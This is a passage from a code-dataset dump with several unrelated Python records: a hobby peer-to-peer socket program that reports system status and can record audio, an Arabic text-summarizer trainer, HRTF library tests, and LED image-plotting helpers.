; settings[2] == 0\n else:\n that = self.recv_with_wrong(self.ID,s,128)\n s = that[0]\n out = that[1]\n self.msg_control(self.ID,out,'hello')\n else:\n that = self.recv_with_wrong(self.ID,s,10240)\n s = that[0] ; out = that[1]\n if self.q.empty() == False:\n msgIn = self.q.get()\n else:\n msgIn = ''\n if self.info[0] != 'Out':\n print(out,msgIn)\n wanna = self.msg_control(self.ID, out, msgIn)\n self.send_with_wrong(self.ID,s,wanna)\n\n def Seed(self,ID,q):\n global settings\n global socket_server\n\n while self.info[0] == 'Wait':\n\n if self.ID <= settings[4]:\n\n clientsocket, addr = socket_server.accept()\n clientsocket.settimeout(1)\n self.info[ID] = ['Connect', addr]\n print(self.ID, 'Connect by', addr)\n\n out = 'welcome' ; msg = ''\n self.send_with_wrong(self.ID,clientsocket,out)\n self.new_connect()\n\n else:\n clientsocket, addr = socket_server.accept()\n print(self.ID, 'Full by', addr)\n\n out = 'Sorry , full!!!' ; msg = ''\n self.send_with_wrong(self.ID,clientsocket,out)\n\n while self.info[0] != 'Out':\n\n if self.q.empty() == False:\n msg = self.q.get()\n msg = self.msg_control(self,ID,out,msg)\n self.send_with_wrong(self.ID,clientsocket,msg) ; msg == ''\n\n if self.info[0] != 'Out':\n that = self.recv_with_wrong(self.ID,clientsocket,10240)\n out = that[1]\n time.sleep(0.9)\n\n\n\n\n\n def wrong(self,ID,s,wrong_msg):\n global point\n global connect\n # 异常处理\n print(self.ID , ':' , wrong_msg )\n connect[self.ID] = ['Out','']\n\n if point[0] == ID:\n point[0] = -1\n #敲门进程是固定位置的,如果是敲门进程,需要重新配置\n if ID == 0:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(1)\n if ID == point[0]:\n point[0] = -1\n return s\n\n def send_with_wrong(self,ID,s,msg):\n try:\n s.send(msg.encode('utf-8'))\n except:\n print(ID,':send failled') \n s = self.wrong(ID,s,sys.exc_info()[0])\n out = ''\n return s\n\n def recv_with_wrong(self,ID,s,size):\n try:\n out = s.recv(size)\n out = out.decode('utf-8')\n except:\n print(ID,'recive failled.')\n s = self.wrong(ID,s, sys.exc_info()[0])\n out = ''\n return (s,out)\n\n\n\n\n\n\n\n\n def msg_control(ID,out,msg):\n global connect\n global point\n global Me\n msg_even = ''\n\n #我的信息\n try:\n number = 0\n change = True\n while change == True:\n change = False\n for i in connect:\n if i.info[1].find('(' + str(number) + ')') != -1:\n number += 1\n change = True\n\n that = [] ; thisNUM = '('+str(number)+')'\n for i in connect:\n that.append(thisNUM.join(i.info))\n\n #Me = [hostInfo,CpuRamDisk,MediaInfo,NetInfo,windowInfo]\n thisNUM = '('+str(number)+')'\n Info_name = thisNUM.join(Me[0][0:2]) + str(Me[0][2])\n Info_connect = thisNUM.join(that)\n Info_cpu = thisNUM.join(Me[1][0])\n Info_ram = thisNUM.join(Me[1][1])\n Info_disk = thisNUM.join(Me[1][2]) \n Info_media = thisNUM.join(Me[2])\n # msg\n thisNUM = '('+str(number+1)+')'\n rater = [Info_name , Info_cpu, Info_ram, Info_disk, Info_media,Info_connect]\n rater = thisNUM.join(rater)+'msg:'+msg \n except:\n print(sys.exc_info()[0])\n rater = '...msg:'+msg\n\n #处理\n if ID == 0:\n #断开状态,检查敲门是否成功\n if connect[ID].info[0] == 'Out':\n if out == 'welcome' and msg == 'hello':\n print('welcome') \n connect[ID].info[0] = 'Connect'\n else:\n msg_even = 'Who?\\n'+out\n #连接状态,等待指令\n elif connect[ID].info[0] == 'Connect':\n if out == '?':\n if msg == '':\n pass\n else:\n if msg == 'hand':\n connect[ID].info[0] = 'Hand?'\n else:\n msg_even = out\n return rater\n #hand等待状态\n elif connect[ID].info[0] == 'Hand?':\n if out.find('msg:') != -1:\n if out[out.find('msg:') + 4:] == 'hand':\n msg_even = 'hand'\n connect[ID].info[0] = 'Hand'\n return 'recive'\n elif out[out.find('msg:') + 4:] == 'hand...': \n return rater\n else:\n msg_even = out\n connect[ID].info[0] = 'Connect'\n print('No hand',out)\n return rater\n #hand状态\n elif connect[ID].info[0] == 'Hand':\n msg_num = out.find('msg:') \n connect[ID].info[1] = out[0:msg_num]\n if msg_num != -1:\n if msg == 'crow':\n connect[ID].info[0] = 'Connect'\n return msg \n else:\n return 'recive'\n else:\n connect[ID].info[0] = 'Out'\n #主机\n else:\n # 连接下端主机\n if connect[ID].info[0] == 'Connect':\n msg_num = out.find('msg:')\n if msg_num != -1:\n msg_out = out[msg_num + 4:]\n connect[ID].info[1] = out[0:msg_num]\n if msg_out == 'hand':\n # 接收到hand请求,开始商议\n if point[0] == -1:\n if connect[0].info[0] =='Out':\n connect[ID].info[0] = 'Hand'\n point[0] = ID\n return 'msg:hand'\n elif connect[0].info[0] == 'Connect':\n Q[1][0].put('hand')\n connect[0].info[0] = 'Hand'\n connect[ID].info[0] = 'Hand?'\n Q[1][0].put('msg:hand...') \n else:\n return 'hand full '\n else:\n return 'hand full'\n else:\n return '?'\n elif out == 'welcome':\n return '?'\n #hand机\n elif connect[ID].info[0] == 'Hand':\n if out == 'crow':\n connect[ID].info = ['Connect','']\n point[0] = -1\n return '?'\n else:\n if out != 'recive':\n msg_even = 'hands:'+out\n return rater\n #hand请求机\n elif connect[ID].info[0] == 'Hand?':\n if connect[0].info[0] == 'Hand':\n return 'msg:hand'\n elif connect[0].info[0] == 'Hand?':\n return 'msg:hand...'\n elif connect[0].info[0] == 'Connect':\n return '?'\n if point[0] != -1:\n while connect[point[0]].q.empty()==True:\n connect[point[0]].q.put(ID+':'+msg_even)\n print(msg_even)\n\n\n\n\n\n\n\n\n\n\n\n\n\n#-----------------------------------------thread---------------------------------------------------------\ndef Loading():\n global thread , watchDogs , Me , socket_server , tk \n global connect , point , settings , res_audio , res_dft\n\n thread = []\n sinAOcos = []\n socket_server = False ; tk = False\n Me = []\n point = [-1,False,False]\n connect = []\n watchDogs = []\n #0 for hand , 1 for audio , 2 for tk\n res_audio = []\n res_dft = []\n settings = []\n getSettings()\n\n for i in range(4):\n watchDogs.append(queue.Queue())\n me = aThread(-4 , 'Me' , 1 , watchDogs[0])\n me.start()\n \n while len(Me) < 5:\n time.sleep(0.1)\n\n if settings[0].find('1') != -1:\n keyin = aThread(-3 , 'keyin' , 2 , watchDogs[1])\n keyin.start()\n\n if settings[0].find('2') != -1:\n audio = aThread(-2 , 'audio' , 6 , watchDogs[2])\n audio.start()\n point[1] = True\n\n if settings[0].find('3') != -1:\n sop = aThread(-1 , 'sop' , 5 , watchDogs[3])\n sop.start()\n point[2] = True\n \n if settings[0].find('0') != -1:\n\n connect.append(aConnect(0))\n\n while type(socket_server) != socket.socket:\n try:\n socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n socket_server.bind((getIPaddress(),settings[3]))\n socket_server.listen(settings[4])\n sop = aThread(0 , 'seed' , 3 , connect[0].q)\n sop.start()\n except:\n socket_server = []\n time.sleep(1)\n else:\n connect.append(aConnect(1))\n#-------------------------------------------------------------------------------\ndef info():\n #这个线程会总结本机状态,放到全局变量‘Me’中\n global Me , tk , settings\n while True:\n hostInfo = [socket.gethostname() , getIPaddress() , settings[3]]\n CpuRamDisk = getCpuRamDisk()\n MediaInfo = testMEDIA()\n NetInfo = net()\n try:\n windowInfo = getWindowInfo()\n except:\n windowInfo = 'No Window..'\n\n Me = [hostInfo,CpuRamDisk,MediaInfo,NetInfo,windowInfo]\n time.sleep(1)\n#--------------------------------------------------------------------------\ndef i(q):\n#这是一个输入线程,外部输入设备如键盘,可以从这里输入指令\n global Me , connect , settings\n\n while True:\n keyIn = input('>>')\n\n if keyIn == ' ':\n this = []\n this.append('Name:'+Me[0][0])\n this.append('ADDR:'+Me[0][1]+' PORT:'+str(settings[3])+' BIND:'+str(settings[4])+' To:Addr'+str(settings[1])+' PORT:'+str(settings[2]) +'\\n')\n this.append('CPU: Tempe..:' +Me[1][0][0]+' Use:'+Me[1][0][1]+'%')\n this.append('RAM: total:'+Me[1][1][0] +' Use:'+Me[1][1][1] +' free:'+Me[1][1][2])\n this.append('DISK: total:'+Me[1][2][0]+' Use:'+Me[1][2][1]+' ,'+Me[1][2][2]+'\\n')\n this.append('MEDIA: Audio:' + Me[2][0]+ ',Vidio:' + Me[2][1])\n this.append('NET:'+ Me[3])\n this.append('WINDOW:'+str(Me[4]))\n print('\\n'.join(this))\n for this in connect:\n print(this.info)\n\n elif keyIn == 'connect':\n if connect[0].info[0] == 'Out':\n settings[1] = input('host:')\n try:\n settings[2] = int(input('port:'))\n except:\n print('port format wrong')\n host = ''\n\n else:\n if connect[0].info[0] == 'Hand' or keyIn == 'hand':\n q.put(keyIn)\n#----------------------------------------------------------------------------\ndef listen():\n#这个线程是可选项,在程序中自行加载,用于录音。 \n import pyaudio\n global res_audio , res_dft ; count=0\n pa = pyaudio.PyAudio()\n stream = pa.open(format=pyaudio.paInt16, \n channels=1, \n rate=44100, \n input=True,\n frames_per_buffer=2000)\n while True:\n if stream.is_active() == False:\n stream.start_stream()\n \n audio_data = stream.read(2000)\n audio_data = numpy.fromstring(audio_data,dtype=numpy.short)\n large_sample_count = numpy.sum(audio_data>800)\n\n if large_sample_count>12:\n count=1\n else:\n count-=1\n\n if count>0:\n res_audio.append(audio_data)\n if count<0:\n count=0\n if len(res_audio)>0:\n res_dft=res_audio\n res_audio=[]\n#-------------------------------------------------------------------------------\ndef move(event):\n global x,y,tk,flag\n flag = False\n new_x = (event.x-x[4])+tk.winfo_x()\n new_y = (event.y-y[4])+tk.winfo_y()\n s = str(x[1])+'x'+str(y[1])+'+'+str(new_x)+'+'+str(new_y)\n tk.geometry(s)\n flag = True\ndef button_1(event):\n global x,y,tk\n x[4],y[4] = event.x,event.y\ndef tk_update():\n global x,y,tk,canvas,flag\n global res_dft \n\n backColor = 'green' ; fillColor = 'white' ; lines=[]\n\n while True:\n\n if res_dft!=[]:#flag == True:\n \n point=1; res =[]\n for i in range(len(res_dft)):\n for ii in range(len(res_dft[i])):\n if point==1:\n if res_dft[i][ii]<0:\n res.append(i*4000+ii) ; point=-1\n else:\n if res_dft[i][ii]>0:\n res.append(i*4000+ii) ; point=1\n\n\n num = round(len(res_dft)*8) ; res2=[];res2.append(0)\n\n for i in range(num):\n res2.append(0)\n for i in res:\n res2[round(i/500)]+=1\n\n len_res_dft = len(res2) ; X = x[1]*(1/(len_res_dft))\n i = 1\n \n\n for i in range(len(lines)):\n canvas.delete('line'+str(i)) ; lines=[]\n while i < len_res_dft:\n lines.append(canvas.create_line(((i-1)*X , y[1]/2-res2[i-1] , i*X , y[1]/2-res2[i]) , tag='line'+str(i),fill=fillColor))\n i+=1\n\n canvas.pack() ; res_dft=[]\n tk.update()\n time.sleep(0.5)\n else:\n time.sleep(0.1)\ndef sop():\n import tkinter \n global x,y,tk,canvas,flag\n global connect\n\n tk = tkinter.Tk()\n tk.overrideredirect(True) \n\n x = [] ; y = [] ; flag = True\n x.append(tk.winfo_screenwidth()) ; y.append(tk.winfo_screenheight()) #W,H\n x.append(int(round(x[0]*0.618))) ; y.append(int(round(y[0]*0.382))) #window's w,h\n x.append(x[0]/2) ; y.append(int(round(y[0]*0.382))) #window's x,y(control)\n x.append(x[1]) ; y.append(y[1]*0.382) #title's\n x.append(0) ; y.append(0) #event\n\n coordNum = [x[1]*(1-0.382),x[1]*0.382]\n\n s = (str(x[1]) +'x'+ str(y[1]) + '+' + str(round((x[0]-x[1])/2)) + '+' + str(round(y[1]-y[2]/2)))\n tk.geometry(s)\n\n canvas = tkinter.Canvas(tk, bg='green', width=x[0] , height=y[0])\n canvas.configure(highlightthickness = 0)\n canvas.bind(\"<Button-1>\",button_1)\n canvas.bind(\"<B1-Motion>\",move)\n canvas.pack()\n\n tkUpdate = aThread(-6 , 'tkupdate' , 7 , 0) ; tkUpdate.start()\n tk.mainloop()\n#--------------------------------linux工具箱----------------------------------------------\ndef get_file_adr():\n # http://www.cnblogs.com/pchgo/archive/2011/09/19/2181248.html\n # 获取脚本路径\n path = sys.path[0]\n # 判断为脚本文件还是py2exe编译后的文件,如果是脚本文件,则返回的是脚本的目录,如果是py2exe编译后的文件,则返回的是编译后的文件路径\n if os.path.isdir(path):\n return path\n elif os.path.isfile(path):\n return os.path.dirname(path)\n#-------------------------------------------------------------------------------------\ndef getCpuRamDisk():\n # CPU informatiom\n CPU_temp = getCPUtemperature()\n CPU_usage = '?'\n\n CPUinfo = [CPU_temp, CPU_usage]\n\n # RAM information\n # Output is in kb, here I convert it in Mb for readability\n RAM_stats = getRAMinfo()\n RAM_total = str(round(int(RAM_stats[0]) / 1000, 1))\n RAM_used = str(round(int(RAM_stats[1]) / 1000, 1))\n RAM_free = str(round(int(RAM_stats[2]) / 1000, 1))\n\n RAMinfo = [RAM_total, RAM_used, RAM_free]\n\n # Disk information\n DISK_stats = getDiskSpace()\n # DISK_total = DISK_stats[0]\n # DISK_used = DISK_stats[1]\n # DISK_perc = DISK_stats[3]\n\n DISKinfo = [DISK_stats[0], DISK_stats[1], DISK_stats[3]]\n\n return [CPUinfo, RAMinfo, DISKinfo]\n# Return CPU temperature as a character string\n#——--------------------------------------------------------------------------------\ndef getCPUtemperature():\n fp = open('/sys/class/thermal/thermal_zone0/temp', 'r');\n result_c = fp.readline();\n fp.close();\n cpu_temp = int(float(result_c) / 1000.0)\n return (str(cpu_temp))\n# Return % of CPU used by user as a character string\ndef getCPUuse():\n return (str(os.popen(\"top -n1 | awk '/Cpu\\(s\\):/ {print $2}'\").readline().strip()))\n# Return RAM information (unit=kb) in a list\n# Index 0: total RAM\n# Index 1: used RAM\n# Index 2: free RAM\n#-------------------------------------------------------------------------------------\ndef getRAMinfo():\n p = os.popen('free')\n i = 0\n while 1:\n i = i + 1\n line = p.readline()\n if i == 2:\n return (line.split()[1:4])\n# Return information about disk space as a list (unit included)\n# Index 0: total disk space\n# Index 1: used disk space\n# Index 2: remaining disk space\n# Index 3: percentage of disk used\n#-----------------------------------------------------------------------------------------\ndef getDiskSpace():\n p = os.popen(\"df -h /\")\n i = 0\n while 1:\n i = i + 1\n line = p.readline()\n if i == 2:\n return (line.split()[1:5])\n#---------------------------------------功能-----------------------------------------\ndef getSettings():\n global settings\n settings = []\n\n address = get_file_adr()+'/seed_setting.txt'\n\n file_setting = open(address,'r')\n setting = file_setting.readlines()\n file_setting.close()\n\n\n for i in setting:\n settings.append(i.replace('\\n',''))\n \n try:\n settings[2] = int(setting[2])\n except:\n settings[2] = 0\n\n if len(setting) > 3:\n try:\n settings[3] = int(setting[3])\n except:\n settings[3] = 0\n \n try:\n settings[4] = int(setting[4])\n except:\n settings[4] = 0\n#-----------------------------------------------------------------------------------------\ndef getIPaddress():\n i = 0\n ifconfig = os.popen('ifconfig').readlines()\n ifconfig_ex = []\n\n while i < len(ifconfig):\n if len(ifconfig[i]) == 1:\n ifconfig_ex.append(ifconfig[0:i])\n i += 1\n\n i = len(ifconfig_ex)-1\n while i >= 1:\n ifconfig_ex[i] = ifconfig_ex[i][len(ifconfig_ex[i-1])+1:]\n i -= 1\n \n for i in ifconfig_ex:\n \n this = i[1]\n pointAddress = this.find('inet')\n\n if this.find('Bcast') != -1:\n pointBcast = this.find('Bcast')\n elif this.find('bcast') != -1:\n pointBcast = this.find('bcast')\n elif this.find('BCAST') != -1:\n pointBcast = this.find('BCAST')\n elif this.find('广播') != -1:\n pointBcast = this.find('广播')\n elif this.find('broadcast') != -1:\n pointBcast = this.find('broadcast')\n else:\n pointBcast = -1\n if this.find('mask') != -1:\n pointMask = this.find('mask')\n elif this.find('Mask') != -1:\n pointMask = this.find('Mask')\n elif this.find('MASK') != -1:\n pointMask = this.find('MASK')\n elif this.find('掩码') != -1:\n pointMask = this.find('掩码')\n elif this.find('netmask') != -1:\n pointMask = this.find('metmask')\n else:\n pointMask = -1\n \n if pointAddress != -1:\n if pointBcast != -1:\n if pointMask != -1:\n\n this = this[pointAddress+5:pointBcast]\n number = this.find(':')\n if number != -1:\n this = this[number+1:]\n if this[0:1] == ' ':\n this = this[1:]\n number = this.find(' ')\n if number != -1:\n this = this[0:number]\n return this \n#-----------------------------------------------------------------------------------------\ndef testMEDIA():\n global point\n# 测试音频\n if point[1] == True:\n Audio = 'Audio Running'\n else:\n try:\n import pyaudio\n pa = pyaudio.PyAudio()\n stream = pa.open(format=pyaudio.paInt16, \n channels=1, \n rate=44100, \n input=True,\n frames_per_buffer=1000)\n this = stream.read(1000)\n except:\n Audio = 'NO Audio'\n else:\n Audio = 'AUDIO'\n# 测试视频\n try:\n import pygame\n except:\n Vidio = 'NOvidio'\n else:\n Vidio = 'VIDIO'\n\n MediaInfo = [Audio, Vidio]\n return MediaInfo\n#-----------------------------------------------------------------------------------------\ndef net():\n # 连接情况\n global socket_server , connect\n Net = 'NOPE'\n try:\n if type(socket_server) == socket.socket:\n if connect[0].info[0] == 'Out':\n Net = 'SERVER'\n if len(connect) > 0:\n if connect[0].info[0] != 'Out':\n if Net == 'SERVER':\n Net += ' & CONNECT'\n else:\n Net = 'CONNECT'\n except:\n pass\n return Net\n#-----------------------------------------------------------\ndef getWindowInfo():\n global tk\n\n if type(tk) == tkinter.Tk:\n window = True\n else:\n window = False\n return window\n#-------------------------------------算法-----------------------------------------\n\n\ndef dft(fCtD, w0, max_w, dirta_w,dirta_t):\n global sinAOcos , res_dft\n res = []\n max_t = len(fCtD) ; w = w0\n\n while w <= max_w:\n t = 0\n n = 0 ; ni = 0\n #num_w = int(w / dirta_w)\n while t < max_t:\n #num_t = int(t / dirta_t)\n n += int(fCtD[t])*math.cos(t*3.14*w/44100)\n ni += int(fCtD[t])*math.sin(t*3.14*w/44100)\n t += dirta_t\n\n mo = round((n**2 + ni**2)**0.5 / (max_t / (2 * dirta_t)))\n res.append(mo)\n res_dft = res\n w += dirta_w\n#---------------------------------------------------------------------------------------\ndef join_string(I ,string):\n long = len(I) ; this = []\n adr = string.find(I)\n while adr != -1:\n this.append(string[0:adr])\n string = string[adr+long:]\n adr = string.find(I)\n if this == []:\n this = string\n else:\n this.append(string)\n return this\ndef join_many(string,num):\n if num == -1:\n num = 0;\n change = True\n while change == True:\n change = False\n if string.find('(' + str(num) + ')') != -1:\n num += 1\n change = True\n num -= 1\n this = join_string('('+str(num)+')',string)\n if type(this) == str:\n return this\n elif type(this) == list:\n that = []\n for i in this:\n that.append(Info(i,num-1))\n return that\ndef Info(gop,num):\n # 有关于连接数据的解码程序\n #P.S.这个部分尚可优化\n if type(gop) == str:\n return join_many(gop,num)\n elif type(gop) == list:\n info = []\n for i in gop:\n info.append(Info(i,num))\n return info\n#----------------------------------------------------------------------\ndef InfoAdd():\n global Me , settings\n this = [] ; this1 = []\n if Me != ['','','']:\n this.append('Name:'+Me[0][0])\n\n this1.append(Me[0][1])\n this1.append(str(settings[3]))\n this1.append(str(settings[4]))\n this1.append('to')\n this1.append(str(settings[1]))\n this1.append(str(settings[2]))\n this.append(' '.join(this1)) ; this1 = []\n \n this1.append(int(Me[1][0][0])) \n\n this1.append(round((1-(float(Me[1][1][2])/float(Me[1][1][0])))*100))\n this1.append(int(Me[1][2][2].replace('%','')))\n this.append(this1)\n return this\n else:\n return ['','',[0,0,0],]\n#-------------------------------------------------------------------------------------\nload = aThread(-5 , 'Me' ,0 , 0)\nload.start() \n","sub_path":"river/6_py_dft_TxL/seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":27730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"575843605","text":"import sys\nsys.path.append('../')\nimport nltk\nimport pickle\nfrom tokenizer import *\nfrom features import *\nfrom arabic_scorer import *\nfrom trainer import *\nfrom gensim.summarization.summarizer import summarize\n\n\n\ndef saveTrainingData():\n \"\"\"\n Serializes summaries, and training data and stores them\n \"\"\"\n summaries, dataInfo = gensimSummarizer()\n tokenizedSummaries = getSummarizedSents()\n summaryFile = '../../Data/training_data_arabic_features.dat'\n dataFile = '../../Data/dataset_info_arabic.dat'\n openedSumFile = open(summaryFile, 'wb')\n pickle.dump(tokenizedSummaries, openedSumFile)\n openedSumFile.close()\n openedDataFile = open(dataFile, 'wb')\n pickle.dump(dataInfo, openedDataFile)\n openedDataFile.close()\n\ndef loadTrainingData():\n \"\"\"\n Loads summaries and training data info\n @rtype {List}: list of tokenized summaries\n @rtype {Dictionary}: all info about every sentence in documents\n \"\"\"\n summaryFile = '../Summarization/Data/training_data_arabic_features.dat'\n dataFile = '../Summarization/Data/dataset_info_arabic.dat'\n with open(summaryFile, 'rb') as sumFile:\n summaries = pickle.load(sumFile, encoding='bytes')\n with open(dataFile, 'rb') as datFile:\n data = pickle.load(datFile, encoding='bytes')\n return summaries, data\n\ndef classifyData():\n \"\"\"\n Classifies training data using naive bayes classifier\n @rtype {Classifier}\n \"\"\"\n summaries, data = loadTrainingData()\n tags = tagSentences(summaries, data)\n tuples = matchTagsWithFeatures(tags, data)\n classifier = nltk.NaiveBayesClassifier.train(tuples)\n return classifier\n","sub_path":"Summarization/Engine/Arabic_Summarizer/arabic_trainer.py","file_name":"arabic_trainer.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"576909879","text":"import slab\nimport numpy\nfrom matplotlib import pyplot as plt\nplt.ioff()\n\n\ndef test_create_hrtf():\n hrtf1 = slab.HRTF.kemar()\n assert hrtf1.data[0].fir is True\n hrtf2 = slab.HRTF.kemar()\n for i in range(len(hrtf1.data)):\n numpy.testing.assert_equal(hrtf1.data[i].data, hrtf2.data[i].data)\n del hrtf2\n for i in range(100):\n idx = numpy.random.choice(range(hrtf1.n_sources))\n data = hrtf1.data[idx] # make HRTF from instance of filter\n numpy.testing.assert_raises(ValueError, slab.HRTF, data)\n source = hrtf1.sources[idx]\n listener = numpy.random.randn(3)\n hrtf = slab.HRTF(data=data, sources=source, listener=listener)\n numpy.testing.assert_equal(hrtf.listener, listener)\n numpy.testing.assert_equal(hrtf.sources, source)\n numpy.testing.assert_equal(hrtf.data[0].data.flatten(), data.data[:, 0])\n numpy.testing.assert_equal(hrtf.data[1].data.flatten(), data.data[:, 1])\n idx = numpy.random.choice(range(hrtf1.n_sources), 10, replace=False)\n data = [hrtf1.data[i].data for i in idx] # make HRTF from array\n data = numpy.dstack(data)\n data = numpy.transpose(data, axes=(2, 0, 1))\n sources = hrtf1.sources[idx]\n hrtf = slab.HRTF(data=data, sources=sources)\n assert hrtf.n_sources == data.shape[0]\n assert hrtf.data[0].n_samples == data.shape[1]\n assert hrtf.data[0].n_filters == data.shape[2]\n\n\ndef test_plot_hrtf():\n hrtf = slab.HRTF.kemar()\n for ear in [\"left\", \"right\", \"both\"]:\n if ear == \"both\":\n _, ax = plt.subplots(2)\n else:\n _, ax = plt.subplots(1)\n for kind in [\"waterfall\", \"image\"]:\n sources = hrtf.cone_sources(cone=numpy.random.uniform(-180, 180))\n hrtf.plot_tf(sourceidx=sources, kind=kind, ear=ear, axis=ax, show=False)\n\n\ndef test_diffuse_field():\n hrtf = slab.HRTF.kemar()\n dfs = hrtf.diffuse_field_avg()\n assert dfs.fir is False\n assert dfs.n_frequencies == hrtf.data[0].n_taps\n equalized = hrtf.diffuse_field_equalization()\n for i in range(hrtf.n_sources):\n _, mag_raw = hrtf.data[i].tf(show=False)\n _, mag_eq = equalized.data[i].tf(show=False)\n assert numpy.abs(mag_eq.mean()) < numpy.abs(mag_raw.mean())\n\n\ndef test_cone_sources(): # this is not working properly!\n hrtf = slab.HRTF.kemar()\n sound = slab.Binaural.whitenoise(samplerate=hrtf.samplerate)\n for _ in range(10):\n cone = numpy.random.uniform(-1000, 1000)\n idx = hrtf.cone_sources(cone)\n filtered = [hrtf.data[i].apply(sound) for i in idx]\n ilds = [f.ild() for f in filtered]\n assert numpy.abs(numpy.diff(ilds)).max() < 20\n\n\ndef test_elevation_sources():\n hrtf = slab.HRTF.kemar()\n elevations = numpy.unique(hrtf.sources[:, 1])\n elevations = numpy.concatenate([elevations, [-35, 3, 21]])\n for e in elevations:\n sources = hrtf.elevation_sources(e)\n if e in numpy.unique(hrtf.sources[:, 1]):\n assert all(numpy.logical_or(hrtf.sources[sources][:, 0] <= 90, hrtf.sources[sources][:, 0] >= 270))\n assert all(hrtf.sources[sources][:, 1] == e)\n else:\n assert len(sources) == 0\n\n\ndef test_tf_from_sources():\n hrtf = slab.HRTF.kemar()\n for _ in range(10):\n n_sources = numpy.random.randint(1, 100)\n n_bins = numpy.random.randint(100, 500)\n sources = numpy.random.choice(range(len(hrtf.sources)), n_sources)\n tfs = hrtf.tfs_from_sources(sources, n_bins=n_bins)\n assert tfs.shape[0] == n_bins\n assert tfs.shape[1] == n_sources\n\n\ndef test_vsi():\n hrtf = slab.HRTF.kemar()\n vsi = hrtf.vsi()\n numpy.testing.assert_almost_equal(vsi, 0.73, decimal=2)\n vsis = []\n for _ in range(10):\n sources = hrtf.cone_sources(cone=numpy.random.uniform(-180, 180))\n vsis.append(hrtf.vsi(sources=sources))\n assert all(numpy.logical_and(0.4 < numpy.array(vsis), numpy.array(vsis) < 1.1))\n\n\ndef test_plot_sources():\n for _ in range(10):\n hrtf = slab.HRTF.kemar()\n idx = numpy.random.choice(range(len(hrtf.sources)), numpy.random.randint(10))\n hrtf.plot_sources(idx=idx, show=False)\n","sub_path":"tests/test_hrtf.py","file_name":"test_hrtf.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"236152407","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndef plot_by_dval(datafr_in, identifier=\"maxI\"):\n \"\"\"\n recreate the LED attenuation plots; assume data stored in dataframe,\n as output by leds_neu.py\n identifier - name of the column to plot. defaults to maximum pixel intensity,\n for testing purposes. the axes are still 0...2**16, so isnt too helpful\n \"\"\"\n datafr = datafr_in.copy()\n for dval in 3.0,3.5,4.0:\n plotfr = datafr.query(\"dval==%f\"%dval).sort_values(\"X\")\n plt.figure(figsize=(6,6))\n for id in plotfr.get(\"id\").drop_duplicates().values:\n plotfr2 = plotfr.query(\"id==%d\"%id)\n plt.plot(plotfr2[\"X\"], plotfr2[identifier], \"--o\", label=\"LED %d\"%id)\n plt.legend(fontsize=12, loc=\"lower right\")\n plt.title(\"dval %.1f\"%dval, fontsize=14)\n plt.ylabel(identifier,fontsize=12)\n plt.xlabel(\"exposure/10s*LED intensity/128\",fontsize=12)\n plt.axis([0,4,0,2**16])\n plt.grid()\n plt.show()\n\ndef plot_dval4(datafr_in, identifier=\"maxI\"):\n \"\"\"\n recreate by-led-plots for dval=4, analog to the above\n \"\"\"\n datafr = datafr_in.copy()\n datafr = datafr.query(\"dval==4.0\").sort_values(\"intensity\")\n for id in datafr.get(\"id\").drop_duplicates().sort_values().values:\n plt.figure(figsize=(6,6))\n for intensity in datafr.get(\"intensity\").drop_duplicates().values:\n plotfr = datafr.query(\"id==%d and intensity==%d\"%(id,intensity)).sort_values(\"exposure\")\n plt.plot(plotfr[\"exposure\"], plotfr[identifier], \"--o\", label=\"I %d/255\"%intensity)\n plt.legend(fontsize=12, loc=\"upper left\")\n plt.title(\"LED %d\"%id, fontsize=14)\n plt.ylabel(identifier,fontsize=12)\n plt.xlabel(\"exposure [s]\",fontsize=12)\n plt.axis([0,20,0,2**17])\n plt.grid()\n plt.show()\n\ndef draw_ledpics(data, pics_in, led=\"all\", intensity=\"all\", exposure=\"all\", bars=False, dump=False, identifier=\"data\"):\n \"\"\"\n Show pics of LEDs from data.\n takes: data - dataframe with all the data\n led: a list of IDs telling which LED ID to display; defaults to all.\n possible to give individual IDs.\n intensity: a tuple (or individual value) giving the intensity interval to show\n exposure: tuple giving the exposure interval to show (min <= exposure <= max)\n pics_in: indexed LED image dictionary containing, well, LED images,\n in various forms\n bars - show a frequency chart near with pictures, defaults to False;\n to show bars, put bars data in,\n e.g. bars=bars_dict_from_get_I_distribution()\n dump (boolean): dump resulting plots in ./plots\n identifier (str): allows selecting which image to show. Defaults to \"data\",\n can be used to show peaks without bg, pics with attempted halo removal, pics of \"halo\"\n \"\"\"\n pics = pics_in.copy() # copy pics to avoid overwriting source data\n select = data.copy()\n if not led == \"all\":\n if type(led) == int: led = [led] # pack into a list if supplied e.g. 8\n select = select.query(\"id in %s\"%led)\n if not intensity == \"all\":\n if type(intensity) != tuple: intensity = (intensity, intensity)\n select = select.query(\"%d <= intensity <= %d\"%intensity)\n if not exposure == \"all\":\n if type(exposure) != tuple: exposure = (exposure, exposure)\n select = select.query(\"%f <= exposure <= %f\"%exposure)\n dim = pics[\"dim\"]\n for index, entry in select.iterrows():\n name = entry[\"name\"]\n timestamp = name.split(\"T\")[1].split(\".\")[0]\n date = name.split(\"_00_\")[1].split(\"T\")[0]\n pic = pics[index]\n if bars != False:\n bins = bars[index][\"bins\"]\n bindef = bars[index][\"bindef\"]\n fig = plt.figure(figsize=(15,6))\n grid = plt.GridSpec(1,3)\n else:\n fig = plt.figure(figsize=(6,6))\n grid = plt.GridSpec(1,1)\n disp = plt.subplot(grid[0,0])\n disp.set_title(\"LED %d, d=%d, I=%d, t=%.1f s\"%(entry[\"id\"],entry[\"dval\"],entry[\"intensity\"],entry[\"exposure\"]), fontsize=14)\n disp_image = disp.imshow(pic[identifier], extent=[-dim, dim, dim, -dim])\n plt.colorbar(disp_image, ax=disp, orientation=\"vertical\")\n disp.set_xlabel(\"%s, %s; index %d\"%(date, timestamp, index), fontsize=12)\n if bars != False:\n histo = plt.subplot(grid[0,1:])\n bins_plot = np.append(bins, 0.0) # show max bound\n histo.bar(np.arange(len(bins_plot)), bins_plot, align=\"edge\", tick_label=np.round(bindef))\n 